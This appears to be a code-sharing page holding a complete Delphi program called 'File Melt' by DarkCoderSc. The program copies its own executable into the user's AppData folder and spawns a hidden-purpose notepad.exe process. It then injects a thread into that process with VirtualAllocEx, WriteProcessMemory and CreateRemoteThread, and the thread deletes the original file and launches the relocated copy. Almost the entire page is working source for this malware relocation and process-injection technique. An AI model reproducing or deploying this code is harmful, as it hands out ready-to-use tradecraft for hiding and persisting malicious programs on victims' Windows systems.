(Delphi) File Melt by Jean-Pierre LESUEUR (DarkCoderSc)
Created the Saturday 20 February 2021. Updated 5 months, 3 weeks ago.
Code
{
32Bit Example of File Melting
}
program Melt;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.SysUtils,
WinAPI.Windows,
shlobj;
type
TRemotePointer = record
Address : Pointer;
Size : Cardinal;
end;
TMeltThreadInfo = record
// WinAPI
GetProcAddress : Pointer;
LoadLibrary : Pointer;
GetLastError : Pointer;
ExitProcess : Pointer;
DeleteFileW : Pointer;
Sleep : Pointer;
WinExec : Pointer;
// Str
sTargetFile : Pointer;
sExecFile : Pointer;
end;
PMeltThreadInfo = ^TMeltThreadInfo;
{
Generate an exception message with Last Error Information
}
function GetLastErrorMessage(AFuncName : String) : String;
begin
result := Format('"%s" call failed with LastError=[%d], Message=[%s].', [
AFuncName,
GetLastError(),
SysErrorMessage(GetLastError())
]);
end;
{
Spawn a new hidden process
}
function Spawn(APEFile : String) : THandle;
var hProc : THandle;
b : Boolean;
AStartupInfo : TStartupInfo;
AProcessInformation : TProcessInformation;
begin
result := INVALID_HANDLE_VALUE;
///
ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;
AStartupInfo.dwFlags := STARTF_USESHOWWINDOW;
UniqueString(APEFile);
b := CreateProcessW(
PWideChar(APEFile),
nil,
nil,
nil,
False,
0,
nil,
nil,
AStartupInfo,
AProcessInformation
);
if not b then
raise Exception.Create(GetLastErrorMessage('CreateProcessW'));
///
result := AProcessInformation.hProcess;
end;
{
Melt File using Process Injection Technique
}
procedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;
var _GetLastError : function() : DWORD; stdcall;
_ExitProcess : procedure(uExitCode : UINT); stdcall;
_DeleteFileW : function(lpFileName : LPCSTR) : BOOL; stdcall;
_Sleep : procedure(dwMilliseconds : DWORD); stdcall;
_MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;
_WinExec : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;
begin
@_GetLastError := pInfo^.GetLastError;
@_ExitProcess := pInfo^.ExitProcess;
@_DeleteFileW := pInfo^.DeleteFileW;
@_Sleep := pInfo^.Sleep;
@_WinExec := pInfo^.WinExec;
while not _DeleteFileW(pInfo^.sTargetFile) do begin
if (_GetLastError = ERROR_FILE_NOT_FOUND) then
break;
///
_Sleep(100);
end;
_WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);
_ExitProcess(0);
/// EGG
asm
mov eax, $DEADBEAF;
mov eax, $DEADBEAF;
end;
end;
procedure DoMelt_Injection(ATargetFile, AExecFile : String);
var hProc : THandle;
ABytesWritten : SIZE_T;
AInfo : TMeltThreadInfo;
p : Pointer;
AThreadID : DWORD;
AThreadProc : TRemotePointer;
AInjectedInfo : TRemotePointer;
hKernel32 : THandle;
pSysWow64 : PWideChar;
function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;
begin
result := False;
///
if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then
Exit();
result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);
ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));
end;
function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;
begin
ZeroMemory(@result, SizeOf(TRemotePointer));
///
result.Size := ABufferSize;
result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if result.Address = nil then
raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));
///
if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin
FreeRemoteMemory(result);
raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));
end;
end;
function InjectStringW(AString : String) : TRemotePointer;
begin
result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));
end;
function InjectStringA(AString : AnsiString) : TRemotePointer;
begin
result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));
end;
function GetFuncSize(pFunc : Pointer) : Cardinal;
{
This is a very dumb but working technique, we scan for our special pattern to
get the address of our last MeltThread instruction.
We skip all epilogue instructions since the thread will end the parent process.
Other techniques exists to know the exact size of a function but is not required
for our example.
}
var I : Integer;
pCurrentRegion : Pointer;
AFound : Boolean;
const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);
begin
I := 0;
AFound := False;
while True do begin
pCurrentRegion := Pointer(NativeUInt(pFunc) + I);
if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin
if AFound then begin
result := I - Length(EGG);
break;
end;
AFound := True;
end;
Inc(I);
end;
end;
begin
GetMem(pSysWOW64, MAX_PATH);
try
SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);
finally
FreeMem(pSysWOW64, MAX_PATH);
end;
hProc := Spawn(Format('%s\notepad.exe', [String(pSysWOW64)]));
try
ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));
{
Prepare Thread Parameter
}
hKernel32 := LoadLibrary('kernel32.dll');
AInfo.GetLastError := GetProcAddress(hKernel32, 'GetLastError');
AInfo.ExitProcess := GetProcAddress(hKernel32, 'ExitProcess');
AInfo.DeleteFileW := GetProcAddress(hKernel32, 'DeleteFileW');
AInfo.Sleep := GetProcAddress(hKernel32, 'Sleep');
AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');
AInfo.LoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryW');
AInfo.WinExec := GetProcAddress(hKernel32, 'WinExec');
AInfo.sTargetFile := InjectStringW(ATargetFile).Address;
AInfo.sExecFile := InjectStringA(AnsiString(AExecFile)).Address;
try
AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));
AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));
if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then
raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));
WriteLn('Done.');
except
on E: Exception do begin
TerminateProcess(hProc, 0);
raise;
end;
end;
finally
CloseHandle(hProc);
end;
end;
{
Program Entry Point
}
var ACurrentFile : String;
ADestFile : String;
begin
try
ACurrentFile := GetModuleName(0);
ADestFile := Format('%s\%s', [
GetEnvironmentVariable('APPDATA'),
ExtractFileName(GetModuleName(0))
]);
if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin
{
After Melt (New Installed Copy)
}
WriteLn(Format('Melt successfully. I''m running from "%s"', [ACurrentFile]));
WriteLn('Press enter to exit.');
Readln;
end else begin
{
Melt Instance
}
WriteLn('Install our copy and initiate file melting...');
if NOT CopyFile(
PWideChar(ACurrentFile),
PWideChar(ADestFile),
False) then
raise Exception.Create(Format('Could not copy file from "%s" to "%s"', [ACurrentFile, ADestFile]));
DoMelt_Injection(ACurrentFile, ADestFile);
end;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.